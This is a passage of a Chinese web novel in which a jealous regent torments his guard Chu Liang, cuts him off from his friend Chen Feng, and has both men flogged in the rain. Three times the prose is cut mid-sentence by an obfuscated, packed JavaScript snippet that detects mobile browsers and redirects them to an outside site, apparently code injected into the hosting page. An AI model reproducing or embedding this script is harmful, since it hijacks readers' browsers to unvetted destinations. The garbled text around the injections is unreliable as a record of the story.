就在这时,一个眼尖的侍卫瞥见了廊下的身影,顿时吓得魂飞魄散,噗通一声跪下,颤声高呼,“王爷千岁!” 如同沸水泼入滚油!场中瞬间死寂! 所有侍卫,包括激斗中的陈锋和褚良,都如同被施了定身法,齐刷刷地转身,朝着宇文尚的方向齐齐跪拜。 “参见王爷!” 看到王爷的脸色,众人声音都带着惶恐。 褚良脸上的笑容瞬间消失无踪,取而代之的是熟悉的拘谨和被惊扰的慌乱。 他单膝跪地,垂着头,汗水顺着下颌滴落在尘土里。 他不敢抬眼去看宇文尚,只觉得那道落在自己身上的目光,严苛得如同实质的寒刃。 刚才……王爷都看到了? 不知为何,他心头惴惴,莫名感到一阵心虚。 宇文尚缓步走出阴影,玄色银纹劲装在阳光下流淌着冷硬的光泽。 他脸上没有任何表情,目光扫过跪伏一地的侍卫,最终落在褚良身上,停留片刻,又转向旁边的陈锋。 “陈锋。”宇文尚的声音不高,却带着一种无形的压力,让空气都凝滞了几分, “起来,陪本王过两招。” 他随手从兵器架上抽出一柄未开刃的长剑。 “是,王爷。” 陈锋起身,神色恢复了惯常的沉稳,但眼神深处却掠过一丝惊疑。 他拿起自己的剑,站定。 宇文尚不再多言,长剑一抖,剑尖如毒蛇吐信,带着凌厉的破空声,直刺陈锋咽喉! 这一剑,快、狠、准,毫无征兆,更无半分切磋的意味,带着一股冰冷的杀伐之气! 陈锋瞳孔微缩,心中警铃大作!他急忙侧身格挡。 铛!金铁交鸣,巨大的力量震得他手臂发麻,虎口生疼! 宇文尚毫不停滞,剑势连绵不绝,如同狂风暴雨,招招直指要害!劈、刺、撩、抹,每一剑都带着千钧之力,角度刁钻狠辣,逼得陈锋连连后退,只有招架之功,全无还手之力! 汗水瞬间浸透了陈锋的后背,他咬紧牙关,全神贯注,才堪堪挡住这狂风骤雨般的攻击。 周围侍卫看得心惊胆战,大气不敢出。 褚良更是手心捏满了冷汗,他从未见过王爷如此不留情面。这哪里是切磋?分明是……教训! 眼看宇文尚一招“毒龙钻心”,剑尖化作一点寒星,带着刺耳的尖啸,直取陈锋心口! 陈锋旧力已尽,新力未生,眼看避无可避! “王爷小心!” 一声惊呼脱口而出。 褚良几乎是本能地弹身而起,手中未开刃的长刀下意识地横斩而出,精准地格在了宇文尚的剑脊之上! 铛——! 一声刺耳的金铁交鸣! 宇文尚的剑被格开,偏离了方向。他身形一顿,猛地转头看向褚良!墨紫色的眼眸中翻涌着震惊、错愕,随即化为一片深不见底的寒潭和滔天的怒意。 宇文尚死死盯着褚良,那眼神,冰冷得如同万载寒冰,带着难以置信的震怒和被冒犯的凛冽杀机! 褚良被这眼神看得浑身冰凉,如坠冰窟。 他这才意识到自己做了什么!他竟然……拦了王爷的剑?! 慌忙扔下刀,褚良噗通一声重重跪倒在地,额头抵着坚硬的地面,声音发颤, “卑职该死!卑职一时情急……求王爷恕罪!” 宇文尚胸口剧烈起伏,握着剑柄的手指捏得咯咯作响。 他冷冷地看着跪伏在地、瑟瑟发抖的褚良,又瞥了一眼旁边脸色苍白、气息不稳的陈锋,最终,一言不发,猛地将手中长剑掼在地上! “哐当!” 长剑砸在青石板上,发出刺耳的声响,震得所有人心头一跳。 宇文尚拂袖,转身,玄色衣摆划出一道凌厉的弧线,带起一阵凤,头也不回地大步离去。 那离去的背影,裹挟着化不开的阴鸷与怒气,让整个演武场的气氛如被冰封。 当天夜里,恰是褚良当值,书房内的气氛压抑得令人窒息,他不禁如履薄冰。 偷偷抬眼,瞥见宇文尚俊美却冷硬的侧脸,白日王爷飘逸英姿仿佛还在眼前,如今却只剩冰冷疏离。 褚良心如擂鼓,忐忑不安。 他又垂下头,心中一片冰凉直达指尖。 宇文尚批着奏疏,心头那股因演武场而起的烦闷郁气仍未消散。 他烦躁地推开一份满是酸腐影射的奏疏,目光无意识地抬起,想斥责褚良研墨不力,却恰好扫过他腰间——那枚自己亲赐的蟠螭玉佩,端端正正挂在他腰间,温润光泽在灯烛下流转。 看到玉佩还在,宇文尚心头那股无名火稍平,紧蹙的眉头无意识松动了半分。 “褚良。”宇文尚冰冷的声音骤然响起,打破了死寂。 “卑职在!”褚良心中一凛,连忙上前一步。 宇文尚并未抬头,目光依旧落在奏疏上,仿佛只是随口一问,“你平时……常与陈锋切磋武艺?” 褚良心头一跳,小心翼翼地回答:“回王爷,是王爷之前吩咐卑职,武艺一道需勤加练习,多向陈都统这等高手讨教,卑职不敢懈怠。陈都统也确不吝赐教,为人……”他顿了顿,试图说点好话缓和气氛,“……很是宽厚。” 他本意是想夸陈锋人好,证明自己遵从王爷命令。 岂料,宇文尚握着朱笔的手猛地一顿! 宽厚?陈锋宽厚?!一股邪火“噌”地窜上心头! 这蠢石头,竟敢拿他之前的话来堵他?!还当着他的面夸陈锋“宽厚”?这是在暗指他宇文尚苛责严酷吗?! 简直愚不可及! “砰!”宇文尚重重将朱笔拍在砚台上,墨汁四溅!他猛地抬头,目光如利箭般射向褚良,声音带着压抑的怒火,“看来孤的话,你记得很清楚,那怎么不记得孤让你做事多用脑子?!” 褚良吓得脸色发白,扑通跪下, “王爷息怒!卑职谨记,以后绝不再犯!” 他完全不明白王爷为何突然发怒,只觉满心惶恐。 宇文尚看着他这副诚惶诚恐的样子,心中怒火更炽,却又无处发泄。 恰在此时,他扫到一份奏疏,正是某个依附小皇帝的清流写的酸腐文 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16356376|183634||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 章,字里行间影射他“权柄过重,有碍圣德”。 本就烦躁的心情如同火上浇油! 再看跪在地上、像个榆木疙瘩似的褚良,无名火越来越烈。 宇文尚指着一旁空空如也、墨汁将干的砚台,骂道, “跪着作甚,连研墨都不会了?是不是孤平日太纵着你们,眼里早就没了我这个主子?” 这迁怒来得毫无道理,却又气势汹汹。 褚良浑身一颤,慌忙起身去研墨。 他本就紧张得厉害,又被王爷劈头盖脸一顿呵斥,手指都在发抖。他拿起墨锭,心慌意乱地想往砚台里添水,手一抖,竟不小心碰翻了旁边的青玉笔洗! “哐当——哗啦!” 清脆的碎裂声在死寂的书房内格外刺耳,价值不菲的青玉笔洗摔得粉碎,清水和碎片溅了一地! 时间仿佛在这一刻凝固了。 褚良僵在原地,面无人色,大脑一片空白。 完了…… 宇文尚看着满地狼藉,再看看褚良那副失魂落魄、吓得魂不附体的模样,连日来的复杂情绪瞬间找到了宣泄口!他猛地一拍桌案,震得奏疏都跳了起来,厉声斥道, “蠢货!毛手毛脚,成何体统!” 那厌恶语气和冰冷眼神,让褚良如坠冰窖。 他眼眶瞬间红了,委屈和惶恐让他连呼吸都觉得困难。 他想解释,想请罪,可看着宇文尚那盛怒冰冷的脸,一个字也说不出来,只能深深垂下头,肩膀微微颤抖,强忍着不让眼泪掉下来。 就在褚良绝望时,书房门被轻轻推开。 大太监王德全端参汤进来,一眼看清屋内狼藉。 王德全不动声色。、 他将参汤轻放案头,温声道,“王爷息怒,保重身体。” 随即,转向僵立的褚良,不着痕迹地递了一个“快收拾”的眼色,同时自己也蹲下身,收拾起碎片。 褚良如同抓住救命稻草,立即手忙脚乱的跟着收拾起来。 宇文尚冷眼看着,未再呵斥,但脸色依然十分难看。 收拾干净,王德全起身,对宇文尚恭敬道, “王爷,边疆传来秘报。” 宇文尚已经靠在椅背上,半阖眼帘,王德全一边取出密保,一边对褚良使眼色,让他避走。 褚良心领神会,咬着下唇,放轻脚步,快速退出了书房。 王德全的密报很快便汇报完毕,他细看宇文尚的脸色,似乎稍缓,便将参汤送到他手边,同时轻声劝道, “王爷,褚侍卫心性质朴,忠良可靠,虽不够伶俐,但难得赤诚。若犯了错,王爷慢慢调教便是,不必为此等小事气坏了身子。” 闻言,宇文尚冷哼一声,并未接话,但周身冷意似乎稍减半分。 王德全看在眼里,心中不禁翻涌。 他从小伺候王爷,情分非常。 这些年来,宇文尚为了江山社稷,不近女色,不娶妻,不生子,就是为了不留弱点和把柄给政敌。 这份苦心孤诣的牺牲,王德全看在眼里,疼在心里。 近日,王爷对褚良的异常关注和动怒……绝非寻常。只可惜……褚良是个男人,若成了男宠,那对王爷苦心经营、不容有失的摄政威名,恐怕是灭顶之灾。 哪怕褚良是个哥儿也好,悄悄纳了,若能诞育子嗣,倒也是桩好事。可惜了…… 褚良失魂落魄回到侍卫房,身心俱疲,迎面正撞上陈锋。 陈锋已换下了侍卫长的官服,穿着一身素雅的月白长衫,更衬得他身姿挺拔,气质清贵。 此刻,他脸上带着一丝疲惫,眼神却依旧温和沉稳。 “褚都统,”陈锋声音不高,温声道,“练武场之事,不必过于挂怀。王爷心系天下,偶有心绪起伏,非是刻意。” 他顿了顿,看着褚良通红的眼眶,“今日你也受惊了。若不介意,院中备了薄酒……” 褚良看着陈锋温润平和的眼神,想到今日种种,同病相怜的酸楚不禁涌上心头。 他犹豫一瞬,低声道,“好。” 僻静小院,石桌清酒小菜。 两人在夜色中对坐。晚风凉,吹不散褚良心头的迷茫沉重。 他端起酒杯,一饮而尽,辛辣入喉,却压不住眼底湿意和心中的疑问,王爷,难道已经不再信任他了? 10. 第 10 章 书房内,满地狼藉虽已清理,但那股无形的低气压却挥之不去。 褚良被王德全“请”出去后,宇文尚依旧坐在案后,指尖烦躁地敲击着紫檀桌面。 他看着自己空落落的掌心——方才怒极时,差点就要将那块镇纸砸向那蠢石头的脑袋! “蠢货……”宇文尚低声重复着,语气却没了方才的雷霆之怒,反而带着一丝难以言喻的烦闷。 犯错挨骂,天经地义! 以前的侍卫,犯了这等毛手毛脚、冲撞主子的错,直接撵回家都是轻的。他褚良一个山野猎户出身的贱民,能有今日的副都统之位、王府近身之荣,全赖他宇文尚一手提拔、破格恩赐! 他竟还敢委屈?还敢红了眼眶,一副泫然欲泣的模样?真是……不识好歹!恃宠而骄! 可越是这么想,宇文尚心中那股无名火就越发无处着落。 王德全那句“心性质朴,忠良可靠……王爷慢慢调教便是”的话,如同魔咒般在他耳边回响。 慢慢调教?这石头又硬又笨,调教起来当真费力! “王爷,”王德全适时地端上一杯新沏的参茶,声音温和,“您批阅了一日奏章,又动了气,不如……去园中走走?疏解疏解?” 宇文尚瞥了他一眼,没说话,但胸中那股滞涩的郁气确实需要疏散。 他沉默地站起身,玄色常服拂过地面,带着惯有的冷冽。 王德全连忙提灯跟上。 夜色中的王府园林,静谧幽深。 宇文尚信步而行,并未有明确目的,只是下意识地想离那令人烦躁的书房远些。 走着走着,脚步却不知不觉转向了侍卫房所在的方向。 王德全看在眼里,心中了然,却垂目不语。 侍卫房后的小院,隐隐有灯光透出,还夹杂着极低的交谈声。 宇文尚脚步一顿,示意王德全留在原地,自己则无声地隐入院墙外的阴影里。他本意只是想看看那石头是否真如王德全所言,回去“好好歇息”了。 若他真能安分反省,或许……自己这气也能消得快些。 “……陈大哥,你说,王爷他……是不是觉得我特别蠢笨?特别不中用?” 褚良的声音带着浓重的鼻音和酒后的迷茫,清晰地传入宇文尚耳中。 “我……我真的尽力了。王爷吩咐的,我不敢有丝毫懈怠……可为什么,王爷好像越来越……不喜欢我了?” 那声音里的困惑和委屈,竟奇异地让宇文尚胸口的烦闷消散了一分。原来这石头并非不知好歹,只是真的想不通?倒显出几分憨直。 接着是陈锋低沉温和的劝解,“王爷心思深沉,所虑者大。些许小事,未必真入心。你只需如常,谨守本分便是。” 这话四平八稳,听不出什么。 “本分……”褚良喃喃,似乎又灌了一口酒,声音更含糊了些, “我知道自己笨,不会说漂亮话,不会看眼色……王爷厌烦我,也是迟早的事……” 他顿了顿,带着醉意和自嘲, “我就是个山里的猎户,能得王爷青眼,过了这些日子,已经是天大的福分……要是哪天王爷真厌弃我了,我就……我就什么都不要了,把玉佩、腰牌都还给王爷,回山里……继续打我的猎去!自由自在的,也挺好……到时候,攒点钱,娶个手脚勤快、性子爽利的姑娘,安安稳稳过日子……” 他声音渐低,带着一种虚幻的憧憬。 “褚良!” 陈锋的声音陡然拔高,带着一丝不易察觉的紧张和急迫, “你喝多了,莫要胡言乱语!” 他显然被褚良这“退隐山林、娶妻生子”的念头惊到了。 几乎同时,阴影中的宇文尚,瞳孔骤然收缩。方才那点因褚良“憨直困惑”而起的缓和瞬间冻结。 一股怒意夹杂着被冒犯的惊诧,猛地攫住了他。 回山里,当猎户,还要娶个姑娘?! 这石头,竟敢存着离开他的心思?!竟敢想着别的女人?! 他宇文尚赏赐的恩宠、教导的心血、甚至那声独一无二的“良儿”,在他眼里,竟是可以随时丢弃、随便替代的东西吗? 好大的胆子! “呵……”一声极轻的冷笑从宇文尚唇边溢出。 他不再隐藏,抬步从阴影中走出,玄色的身影如同融入夜色的修罗,无声无息地出现在小院门口。 “看来孤来得不巧,扰了二位都统的雅兴?” 宇文尚的声音不高,带着一种令人心悸的平静,嘴角甚至噙着一丝若有若无的笑意,眼神却如同深潭寒冰,扫过瞬间僵立、酒意全消的两人。 褚良和陈锋如同被冰水浇头,猛地站起身! 褚良脸色煞白如纸,手中的酒杯“啪嗒”一声掉在地上,酒液四溅。 陈锋也瞬间绷紧了身体,立刻躬身行礼,“王爷!” 宇文尚的目光在两人之间缓缓移动,最终定格在褚良那张写满惊恐和薄醉的脸上。 “当值期间,擅离职守,聚众饮酒……” 他慢条斯理地吐出几个字,每个字都像冰珠子砸在青石板上,“好规矩。” 他踱步上前,停在石桌前,指尖随意划过冰凉的桌面,最后落在褚良面前那滩酒渍上。 “孤念在你们初犯……” 宇文尚抬起眼,那目光平静得可怕, “陈都统,罚俸三月,停休沐一月。褚良,”他特意点名,声音带着绝对的掌控, “与陈锋同罚,此外,即日起,顶替王德全手下告病的小太监,贴身随侍孤左右,寸步不离。孤乏了,正好缺个夜里添茶倒水、铺床叠被的。” 他刻意加重了“贴身随侍”,当然看到了褚良眼中瞬间涌起的惊愕与慌乱。 “还有,陈都统,” 宇文尚的目光转向陈锋,那眼神瞬间变得锐利如刀,充满了冰冷的审视和毫不掩饰的敌意,“王府外院巡防近来松懈,你既精力旺盛,便去外院值守吧。内院诸事,不必再插手。” 这等于变相将陈锋调离了核心护卫圈,彻底隔开了他与褚良。 陈锋脸色微变,但迎着宇文尚那洞悉一切般的目光,他只能将所有的惊疑和担忧压下,深深躬身,“……卑职遵命。” “都散了吧。” 宇文尚不再看他们,仿佛刚才的一切不曾发生般,转身拂袖而去。 玄色衣摆融入夜色,只留下满院静寂和两个惊魂未定的人。 惩罚开始了。 褚良如同被上了无形的枷锁。 他顶替了那个小太监的活儿,成了宇文尚真正的“贴身近卫”,职责从守护安全,变成了近乎仆役的伺候。 研墨、奉茶、掌灯、守夜、铺床、整理衣物……事无巨细,且要求极高。 宇文尚似乎存心要磋磨他,挑剔无处不在:茶水稍烫或稍凉,墨色浓淡不合心意,被褥铺得不够平整,甚至他呼吸声稍重,都会引来宇文尚冰冷的一瞥。 连续几日的高强度当值,几乎没有休息时间,褚良的精神高度紧张,疲惫不堪。 他本就年纪小,经历简单,从未经历过如此漫长而压抑的心理折磨。 宇文尚那张俊美却冷漠的脸,成了他挥之不去的梦魇。 他小心翼翼地伺候着,不敢有丝毫差错,可王爷的眼神,却再未有过半分暖意,甚至连斥责都吝于给予,只有无尽的冰冷和审视。 身体的疲惫和精神的压抑,让褚良心情跌入谷底,整日郁郁寡欢,沉默寡言。 更让他心慌意乱的是,自己的身体似乎也出了问题。 他胸前那枚鲜红的凤形胎记,近几日来,颜色似乎变得更加艳丽夺目,而且如同烙铁般灼热,隐隐发烫。 他听过一些传说,这是哥儿彻底成熟的标志,意味着……他已具备了孕育子嗣的能力! 随之而来的,是身体不受控制的异样反应:没来由的燥热,心慌意乱,手心总是汗津津的,夜里更是辗转难眠,身体深处仿佛有一团火在烧,一种陌生的空虚感悄然滋生。 最让他羞耻难当的是,一天清晨醒来,他发现自己的亵裤竟湿濡了一大片!黏腻冰凉的感觉让他瞬间惊坐起来,面红耳赤! 他以为自己得了什么见不得人的脏病,惊恐万分,却又不敢声张,更不敢去看太医,只能拼命清洗,心中充满了恐惧和罪恶感。 一次,宇文尚在藏书阁与幕僚议事。 褚良垂手侍立角落,目光瞥见书架高处有一套落了灰的《杂症奇方辑录》,鬼使神差地,趁着宇文尚专注议事,他悄悄挪过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16356377|183634||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去,踮起脚,费力地抽出了其中一卷关于“隐疾异禀”的分册。 他快速翻找到关于“哥儿”的记载,借着昏暗的光线,一目十行地寻找。 当看到描述成熟哥儿为“承欢”而自然分泌“玉津”的段落时,褚良只觉得五雷轰顶,脸上血色瞬间褪尽。 原来……那并非脏病,而是……而是这种羞耻的、为他从未想过之事准备的东西。 巨大的羞耻感和恐惧将他淹没。他手一抖,厚重的书册差点掉落在地。 他慌忙合上书,心脏狂跳,如同做贼般想将书塞回去。 “在看什么?” 宇文尚清冷的声音忽然在身后响起。 议事不知何时已结束,幕僚已退下。 褚良吓得魂飞魄散,猛地转身,将那本《杂症奇方辑录》死死藏在身后,脸色惨白如纸,嘴唇哆嗦着说不出话,“王爷……没……没什么……” 宇文尚眉头微蹙,看着他这副惊弓之鸟、面无人色的模样,再联想到他这几日魂不守舍、眼下乌青的样子,心中一动。 莫非……真病了?他伸出手,语气难得地带了一丝探究,“拿来。” “不!王爷!真的没什么!” 褚良惊恐地后退一步,将那本书护得更紧,仿佛那是他最后的遮羞布。 宇文尚眼神一沉,正要强令。 褚良却像是被逼到绝境的小兽,带着哭腔哀求,“王爷,求您,别……别看了!卑职……只是有点累,休息一下就好,真的!” 他眼中是真切的恐惧和难堪。 宇文尚伸出的手顿在半空。 他看着褚良眼中那毫不作伪的惊惶和哀求,再想到他这几日确实被自己磋磨得够呛,那股烦闷的郁气似乎又消散了些,心中竟罕见地掠过一丝……心软? 这石头,虽然笨拙,倒还知道怕,也还算……乖顺。 “罢了。” 宇文尚收回手,语气平淡却不容置喙,“既知累,便回去歇一日。明日再当值。” 他顿了顿,看着褚良如蒙大赦般松了口气的样子,补充道,“若真有不妥,莫要硬撑,传太医便是。” “谢王爷恩典!” 褚良几乎要哭出来,慌忙行礼,抱着那本烫手的书,几乎是逃也似地离开了藏书阁。 看着褚良仓皇离去的背影,宇文尚若有所思。 这几日磋磨下来,这石头似乎认命了些,也乖觉了些? 今日看他被自己一句话吓得脸色惨白,却又因获准休息而感激涕零的模样……竟让宇文尚心里得到了一丝满足。 翌日,王德全送来一份北疆刚到的捷报,宇文尚看后,眉宇间多日阴霾终于散开些许,嘴角勾起一抹浅淡的笑意。 心情一好,便想赏赐点什么。 目光扫过书案,看到一枚新得的、通体暖黄的羊脂玉扳指。 他下意识地便想唤褚良过来赏他,顺便……亲自给他把把脉,看看这石头到底是不是真病了。 “褚……”他习惯性地开口,目光扫向那个熟悉的角落,却只看到一个垂手侍立、眼观鼻鼻观心的小太监。 宇文尚眉头一皱,“褚良呢?” 那小太监连忙躬身,“回王爷,褚都统今日休沐。” 宇文尚这才想起,是自己昨日亲口准的假。他摩挲着那枚温润的羊脂玉扳指,心情尚可,便随口问道,“可知他去何处了?唤他来。” 小太监犹豫了一下,低声道:“禀王爷,褚都统一早便出门了。听守门的说,褚都统是和陈大人一同走的,像是往西市庙会的方向。” 宇文尚脸上的笑意瞬间冻结,如同面具般寸寸龟裂。 他缓缓抬眸,看向那回话的小太监,墨紫色的眼眸深处,风暴正在无声地凝聚。 “陈锋?”宇文尚的声音很轻,却让整个书房的气温骤降。 小太监吓得浑身一抖,头垂得更低:“是……是陈大人……” 空气死寂。 宇文尚没有再说话,只是盯着攥在掌心的那枚孤零零的羊脂玉扳指,指节捏得发白。 他昨日才心软给的休沐,那石头竟敢……又跟陈锋搅在一起?! 庙会?好,真是好得很!看来他的“慢慢调教”和“隔离”,对那石头是半点作用也无! 11. 第 11 章 午后,王府书房内的光线显得有些慵懒。 宇文尚处理完几份加急文书,靠在椅背上闭目养神,指尖无意识地摩挲着那枚温润的羊脂玉扳指。 北疆捷报带来的短暂愉悦,早已被得知褚良与陈锋同游庙会的消息冲刷得一干二净,只剩下愤怒的余烬在心底闷烧。 影卫回报,两人确实去了西城庙会游玩,并已在回程路上,应该即刻便可回到王府。 听到奏报,宇文尚不禁冷哼,他倒要看看,那石头提前结束休沐回来当值,是出于惶恐,还是……另有所图? 书房门被轻轻推开。 宇文尚并未睁眼,但敏锐的感官已捕捉到熟悉的脚步声——是褚良。 他缓缓睁开眼,果然,褚良垂首站在不远处,身上还带着一丝从外面带回来的、微尘的气息。 他脸色有些苍白,眼下带着淡淡的青影,显然休息得并不好,但眼神却努力维持着平静,甚至……还带着一些小心翼翼的讨好? “王爷。”褚良的声音有些干涩,恭敬行礼。 “嗯。”宇文尚淡淡应了一声,目光如同无形的探针,扫过褚良全身。 没有看到预想中游玩归来的轻松,反而是一副强打精神的疲惫模样。这让他心中的郁气稍缓半分,但随即又被更深的猜疑取代——装模作样? “休沐一日,可还尽兴?” 宇文尚端起茶盏,轻轻撇着浮沫,语气平淡得如同闲聊,目光却锐利地锁在褚良脸上。 褚良心头一跳,连忙垂首,“回王爷,卑职……只是随意走了走,并未久留。想着王爷身边缺人伺候,便提前回来了。” 他一边说着,一边下意识地将手探入怀中,那里揣着他精心挑选的礼物——一个用黄铜打制、小巧玲珑的鹰哨。 他早就注意到王爷那只神骏的海东青,一直想送个能配得上它的物件。 有了这哨子,无论鹰飞得多高多远,王爷一吹哨,它总能循声归来。 因前阵子自己言语无状惹了主子生气,他想借这个礼物,稍稍弥补,也表达一点心意。 “哦?随意走了走?”宇文尚的尾音微微上挑,带着一丝玩味。 他放下茶盏,目光随意地扫过褚良垂在身侧的手腕,瞳孔骤然一缩! 褚良的手腕上,赫然系着一条深褐色、编织精巧的皮质手绳。绳尾缀着一颗小小的、打磨光滑的骨饰。 这绝不是王府之物,更刺眼的是,那枚他亲赐的蟠螭玉佩此刻并未佩戴在褚良腰间! 一股冰冷的怒意瞬间攫住了宇文尚的心脏! 他亲手赏赐的玉佩,竟比不上这条破皮绳?!在自己近前侍候,却敢把这廉价的玩意儿堂而皇之地戴在手腕上? “手腕上是什么?”宇文尚的声音陡然转冷,如同寒流突袭,瞬间冻结了书房内原本还算平和的气氛。 他盯着褚良的手腕,眼神锐利如刀,“自己编的?倒有几分野趣。” 褚良被这突如其来的诘问吓得浑身一僵,他顺着宇文尚的目光看向自己手腕上的皮绳,心中暗道糟糕! “回王爷,这是……” 他支支吾吾,不知该如何说明这是陈锋所赠。 经过几次,褚良就是再愚钝也察觉出来了,王爷似乎不太喜欢陈都统,对其颇有成见。 “说!”宇文尚将手中书卷往桌上重重一撂,声音带着雷霆般的威压,“孤问你话!” 巨大的压力下,褚良额头渗出冷汗,只得硬着头皮答话,“是陈都统前些日子送的……” 他一边说着,一边慌乱地将手伸进怀里,想把那个鹰哨拿出来,“王爷,卑职今日出去,给您带了……” “够了!”宇文尚厉声打断,猛地站起身。 他胸中的怒火如火山般喷发,所有的克制、算计,在这一刻被这赤裸裸的“证据”彻底点燃。 “贱骨头!” 这三个字,如同淬了毒的冰锥,带着宇文尚所有的愤怒、失望,还有妒恨,狠狠砸向褚良! 褚良如遭雷击,浑身剧震,脸色瞬间惨白如金纸! 他难以置信地抬头,看着宇文尚那张因盛怒而微微扭曲的俊美脸庞,大脑一片空白。 王爷……王爷竟将他骂的如此不堪。 手里握着的那枚鹰哨顿时显得可笑,原来自己不过是个下贱奴才而已…… “孤赏你的玉佩呢?!” 宇文尚步步紧逼,声音因极致的愤怒而微微颤抖,每一个字都像鞭子抽打在褚良心上, “有眼无珠的东西!金玉在前,竟把这等粗鄙不堪的破烂玩意儿视若珍宝,戴在腕上招摇?!” 巨大的屈辱和冤屈让褚良无措茫然,他想辩解,想告诉王爷自己珍视玉佩才不敢戴出去,……可喉咙像是被一只无形的手死死扼住,一个字也说不出来。 见他垂头不语,宇文尚的怒火更炙,口不择言的逼问道, “褚良,孤问你,是不是别人随随便便给个笑脸,送个不值钱的秽物,就能让你感恩戴德,忘了自己是谁?!忘了谁才是你的主子?!” 闻言,褚良猛地抬起头,王爷竟然怀疑他不忠! 可以骂他蠢,骂他贱,但这个不忠的指责,他却不能认下来。 可他天生言语不够伶俐,冤屈之下,除了眼泪不受控制地汹涌而出,身体微微颤抖,竟是一个字都吐不出来。 “不忠!不敬!轻贱至此!” 宇文尚看着他泪流满面却不辩解的样子,以为自己戳中他的心思。 也许,在褚良心里,陈锋就是比他这个主子王爷还重要的存在。自己赏赐了玉佩又如何,自己待他与别人大不一样又如何?都说爱屋及乌,也许,在褚良眼中,陈锋所赠之物,哪怕是片草叶,都比他宇文尚的赏赐珍贵千百倍! 像是瞬间醒悟,宇文尚被自己的判断惊怒到,胸中被背叛的痛楚和毁灭欲达到了顶峰。 “把他拖出去!罚跪!跪到他明白谁是他的主子为止!” 两名亲卫立刻上前,架起神情倔强却满脸是泪的褚良。 “王爷息怒!” 一声急呼从门外传来,竟是陈锋! 他显然听闻了动静,疾步冲过来,跪倒在书房门口, “王爷,褚良他绝非有意轻慢王爷!他… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16356378|183634||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' …” “闭嘴!”宇文尚冰冷的目光如同利箭般射向陈锋,那眼神中的杀意几乎化为实质,“这里轮不到你求情!滚出去!” “王爷!”陈锋重重叩首,“卑职愿与褚良同罚,求王爷网开一面!” 说完,他竟不顾宇文尚的呵斥,追到前庭,在众目睽睽之下,毫不犹豫地撩袍,直挺挺地跪在了被侍卫按着跪倒的褚良身旁。 看到这一幕,宇文尚只觉得一股逆血直冲头顶! 好!好一个情深义重!自己倒像是拆散这对苦命鸳鸯的大恶人了! “呵”宇文尚怒极反笑,那笑声冰冷刺骨,带着毁天灭地的戾气,“既然你们如此‘兄弟情深’,孤成全你们!” 他指着跪在地当中的两人,厉声下令, “来人!给孤打!每人三十鞭!让他们好好尝尝‘同甘共苦’的滋味!” 像是感知到宇文尚的愤怒,天空中一道惊雷炸响,从早上开始便阴沉的天空,终于开始飘落冰冷的雨丝。 “王爷……” 听到消息的王德全从前院赶过来,因腿脚不便,他费力的单膝跪在宇文尚的腿边,劝道, “褚都统身子骨还没好利索!这三十鞭下去,又是冷雨……恐有性命之忧,真打死了,您日后想起……” 他不敢再说下去,只能深深俯首在地上。 冰冷的雨水混合着行刑鞭凌厉的破空声…… “啪!啪!啪!” 沉重的牛皮鞭带着呼啸的风声,狠狠抽打在褚良和陈锋的后背上,皮开肉绽的声音在雨声中显得格外沉闷刺耳! 褚良本就虚弱,剧痛和冰冷让他眼前阵阵发黑,死死咬着下唇才没惨叫出声,鲜血混合着雨水,顺着嘴角流下。 陈锋更壮实,但每一鞭落下,身体同样控制不住地剧烈颤抖,他侧头看褚良雨中受刑的模样,不禁把牙关咬得更紧,悄悄伸出手,握住了褚良的衣角。 一鞭!两鞭!三鞭……冰冷的雨水冲刷着翻卷的皮肉,血水迅速在两人身下的积水中洇开。 “王爷,八鞭了!不能再打了,再打真要出人命了!” 王德全看着褚良越来越惨白的脸色和摇摇欲坠的身体,情急之下,抱住了宇文尚的大腿。 宇文尚死死盯着雨幕中那两个受刑的身影,胸中翻腾着暴怒、醋意、被挑衅的狂躁,还有一丝连他自己都未曾察觉的、因褚良惨状而起的尖锐刺痛。 就在第九鞭高高扬起,即将落下之际—— 雨幕中,褚良的身体猛地向前一栽,整个人如同被抽掉了筋骨,重重地扑倒在冰冷的雨水泥泞之中! 鲜血迅速从他身下蔓延开来。 “褚良——!”陈锋目眦欲裂,发出一声嘶吼! 那声嘶吼如同惊雷,狠狠劈在宇文尚紧绷的神经上! 他看着褚良如同人偶般毫无生气地倒在血泊雨水中,心脏像是被一只无形的手狠狠攥住,猛地一缩! 一股强烈的、几乎令他窒息的恐慌感瞬间压过了所有的愤怒! “停刑!” 宇文尚的声音带着明显的颤抖,破口而出…… 12. 第 12 章 “停刑——!” 宇文尚的厉喝瞬间盖过了凄风冷雨和皮鞭的呼啸。 两名行刑的侍卫动作骤然僵在半空,鞭梢犹自滴落着混合血水的雨水。 